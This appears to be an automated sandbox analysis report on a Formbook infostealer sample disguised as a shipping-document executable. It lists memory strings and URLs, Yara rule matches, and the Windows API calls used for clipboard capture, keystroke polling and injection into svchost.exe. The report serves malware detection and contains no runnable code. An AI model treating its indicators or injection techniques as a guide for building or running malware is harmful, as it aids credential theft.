Source: RpcPing.exe, 00000004.00000003.19090634161.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18795960669.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18795622494.0000000002E37000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185487157.0000000002E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: RpcPing.exe, 00000004.00000003.19090634161.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18795960669.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18795622494.0000000002E37000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185487157.0000000002E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://macphersonspm.appfolio.com/connect/users/sign_in
Source: RpcPing.exe, 00000004.00000002.23185424032.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.19092094755.0000000002E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
Source: RpcPing.exe, 00000004.00000002.23185424032.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.19092094755.0000000002E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://stats.wp.com/e-202427.js
Source: RpcPing.exe, 00000004.00000002.23189698242.0000000007B82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23189698242.0000000007BF0000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23189698242.0000000007BF0000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RpcPing.exe, 00000004.00000002.23189323501.00000000060C0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23187811443.00000000041DA000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.000000000361A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: 45570IH2.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.monsterinsights.com/
Source: RpcPing.exe, 00000004.00000002.23187811443.000000000518E000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000045CE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.paliinfra.com/12kg/?vX=FNzl8wnE
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.schema.org/SiteNavigationElement
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0047425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_0047425A

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00474458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00474458

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

0_2_0047425A

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00460219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00460219

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0048CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0048CDAC

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00403B4C
Source: AWB NO. 077-57676135055.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: AWB NO. 077-57676135055.exe, 00000000.00000000.18119188502.00000000004B5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_144c086d-f
Source: AWB NO. 077-57676135055.exe, 00000000.00000000.18119188502.00000000004B5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d05e85b2-d
Source: AWB NO. 077-57676135055.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_5dce06c9-2
Source: AWB NO. 077-57676135055.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_b5d8b72a-5

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C223 NtClose,	2_2_0042C223
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F734E0 NtCreateMutant,LdrInitializeThunk,	2_2_02F734E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72A80 NtClose,LdrInitializeThunk,	2_2_02F72A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B90 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_02F72B90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72D10 NtQuerySystemInformation,LdrInitializeThunk,	2_2_02F72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F74260 NtSetContextThread,	2_2_02F74260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F74570 NtSuspendThread,	2_2_02F74570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72AC0 NtEnumerateValueKey,	2_2_02F72AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72AA0 NtQueryInformationFile,	2_2_02F72AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72A10 NtWriteFile,	2_2_02F72A10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72BE0 NtQueryVirtualMemory,	2_2_02F72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72BC0 NtQueryInformationToken,	2_2_02F72BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B80 NtCreateKey,	2_2_02F72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B20 NtQueryInformationProcess,	2_2_02F72B20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B10 NtAllocateVirtualMemory,	2_2_02F72B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72B00 NtQueryValueKey,	2_2_02F72B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F738D0 NtGetContextThread,	2_2_02F738D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F729F0 NtReadFile,	2_2_02F729F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F729D0 NtWaitForSingleObject,	2_2_02F729D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72ED0 NtResumeThread,	2_2_02F72ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72EC0 NtQuerySection,	2_2_02F72EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72EB0 NtProtectVirtualMemory,	2_2_02F72EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72E80 NtCreateProcessEx,	2_2_02F72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72E50 NtCreateSection,	2_2_02F72E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72E00 NtQueueApcThread,	2_2_02F72E00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72FB0 NtSetValueKey,	2_2_02F72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72F30 NtOpenDirectoryObject,	2_2_02F72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72F00 NtCreateFile,	2_2_02F72F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72CF0 NtDelayExecution,	2_2_02F72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72CD0 NtEnumerateKey,	2_2_02F72CD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F73C90 NtOpenThread,	2_2_02F73C90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C50 NtUnmapViewOfSection,	2_2_02F72C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C30 NtMapViewOfSection,	2_2_02F72C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F73C30 NtOpenProcessToken,	2_2_02F73C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C20 NtSetInformationFile,	2_2_02F72C20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72C10 NtOpenProcess,	2_2_02F72C10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72DC0 NtAdjustPrivilegesToken,	2_2_02F72DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72DA0 NtReadVirtualMemory,	2_2_02F72DA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72D50 NtWriteVirtualMemory,	2_2_02F72D50

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00464021: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00464021

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00458858 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00458858

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0046545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_0046545F

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0040E800	0_2_0040E800
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042DBB5	0_2_0042DBB5
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0048804A	0_2_0048804A
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0040E060	0_2_0040E060
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00414140	0_2_00414140
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00422405	0_2_00422405
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00436522	0_2_00436522
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00480665	0_2_00480665
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0043267E	0_2_0043267E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00416843	0_2_00416843
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042283A	0_2_0042283A
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_004389DF	0_2_004389DF
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00418A0E	0_2_00418A0E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00480AE2	0_2_00480AE2
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00436A94	0_2_00436A94
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0045EB07	0_2_0045EB07
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00468B13	0_2_00468B13
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042CD61	0_2_0042CD61
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00437006	0_2_00437006
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0041710E	0_2_0041710E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00413190	0_2_00413190
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00401287	0_2_00401287
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_004233C7	0_2_004233C7
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042F419	0_2_0042F419
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_004216C4	0_2_004216C4
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00415680	0_2_00415680
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_004158C0	0_2_004158C0
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_004278D3	0_2_004278D3
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00421BB8	0_2_00421BB8
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00439D05	0_2_00439D05
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0040FE40	0_2_0040FE40
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00421FD0	0_2_00421FD0
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0042BFE6	0_2_0042BFE6
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_01033610	0_2_01033610
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402850	2_2_00402850
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410003	2_2_00410003
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042E823	2_2_0042E823
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401250	2_2_00401250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410223	2_2_00410223
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E29C	2_2_0040E29C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E2A3	2_2_0040E2A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403300	2_2_00403300
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402440	2_2_00402440
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416D0E	2_2_00416D0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416D13	2_2_00416D13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004025F1	2_2_004025F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402600	2_2_00402600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D2EC	2_2_02F2D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF124C	2_2_02FF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5D210	2_2_02F5D210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31380	2_2_02F31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF330	2_2_02FFF330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E310	2_2_02F4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF70F1	2_2_02FF70F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300010E	2_2_0300010E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4B0D0	2_2_02F4B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F300A0	2_2_02F300A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7508C	2_2_02F7508C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEE076	2_2_02FEE076
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B1E0	2_2_02F5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F451C0	2_2_02F451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F8717A	2_2_02F8717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDD130	2_2_02FDD130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2F113	2_2_02F2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF6F6	2_2_02FFF6F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3C6E0	2_2_02F3C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB36EC	2_2_02FB36EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA6C0	2_2_02FFA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40680	2_2_02F40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F64670	2_2_02F64670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FED646	2_2_02FED646
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDD62C	2_2_02FDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5C600	2_2_02F5C600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F42760	2_2_02F42760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4A760	2_2_02F4A760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF6757	2_2_02FF6757
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300A526	2_2_0300A526
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40445	2_2_02F40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF5C9	2_2_02FFF5C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF75C6	2_2_02FF75C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5FAA0	2_2_02F5FAA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFA89	2_2_02FFFA89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFEA5B	2_2_02FFEA5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFCA13	2_2_02FFCA13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB4BC0	2_2_02FB4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFB2E	2_2_02FFFB2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40B10	2_2_02F40B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7DB19	2_2_02F7DB19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF78F3	2_2_02FF78F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF18DA	2_2_02FF18DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F428C0	2_2_02F428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB98B2	2_2_02FB98B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F56882	2_2_02F56882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F49870	2_2_02F49870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5B870	2_2_02F5B870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFF872	2_2_02FFF872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F26868	2_2_02F26868
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0835	2_2_02FE0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E810	2_2_02F6E810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F43800	2_2_02F43800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F859C0	2_2_02F859C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3E9A0	2_2_02F3E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFE9A6	2_2_02FFE9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F32EE8	2_2_02F32EE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF9ED2	2_2_02FF9ED2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F41EB2	2_2_02F41EB2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF0EAD	2_2_02FF0EAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE0E6D	2_2_02FE0E6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60E50	2_2_02F60E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F82E48	2_2_02F82E48
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F46FE0	2_2_02F46FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF1FC6	2_2_02FF1FC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFEFBF	2_2_02FFEFBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFFF63	2_2_02FFFF63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4CF00	2_2_02F4CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5FCE0	2_2_02F5FCE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F58CDF	2_2_02F58CDF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD9C98	2_2_02FD9C98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF6C69	2_2_02FF6C69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFEC60	2_2_02FFEC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEEC4C	2_2_02FEEC4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4AC20	2_2_02F4AC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30C12	2_2_02F30C12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDFDF4	2_2_02FDFDF4
